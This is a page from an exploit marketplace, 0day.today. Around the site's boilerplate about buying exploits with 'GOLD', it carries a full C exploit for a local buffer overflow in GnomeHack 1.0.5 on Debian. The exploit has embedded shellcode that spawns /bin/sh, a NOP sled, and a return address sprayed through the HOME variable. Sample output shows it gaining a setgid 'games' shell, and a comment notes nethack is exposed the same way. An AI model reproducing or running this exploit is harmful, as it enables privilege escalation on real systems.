0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
GnomeHack 1.0.5 Local Buffer Overflow Exploit
[=============================================
GnomeHack 1.0.5 Local Buffer Overflow Exploit
=============================================
/* (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org].
this will give you an egid=60(games) shell if gnomehack is sgid(=2755) games
on debian/2.2, which has gnomehack. (this can also be applied to nethack)
syntax: ./deb_gnomehack [offset] [alignment].
example:
-------------------------------------------------
# ./deb_gnomehack 500 0
[ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org]. ]
[ return address: 0xbffff978, offset: 500, align: 0. ]
sh-2.03$ id
uid=1001(v9) gid=1001(v9) egid=60(games) groups=1001(v9)
sh-2.03$
-------------------------------------------------
note: overflow exists in $NETHACKOPTIONS as well, like nethack.
*/
#define PATH "/usr/lib/games/gnomehack/gnomehack" // path to gnomehack.
#define DEFAULT_OFFSET 500 // default offset.
#define DEFAULT_ALIGN 0 // default alignment.
static char exec[]=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
"\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[300];
int i,offset,align;
long ret;
printf("[ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo."
"org]. ]\n");
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
if(argc>2){
if(atoi(argv[2])>3||atoi(argv[2])<0){
printf("*** ignored argument alignment value: %s. (use 0-3)\n",argv[2]);
align=DEFAULT_ALIGN;
}
else{align=atoi(argv[2]);}
}
else{align=DEFAULT_ALIGN;}
ret=(esp()-offset);
printf("[ return address: 0x%lx, offset: %d, align: %d. ]\n",ret,offset,align);
for(i=align;i<300;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(250-strlen(exec));i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
setenv("HOME",bof,1);
if(execlp(PATH,"gnomehack",0)){
printf("*** execution of %s failed. (check the path)\n",PATH);
exit(-1);
}
}
# 0day.today [2024-11-15] #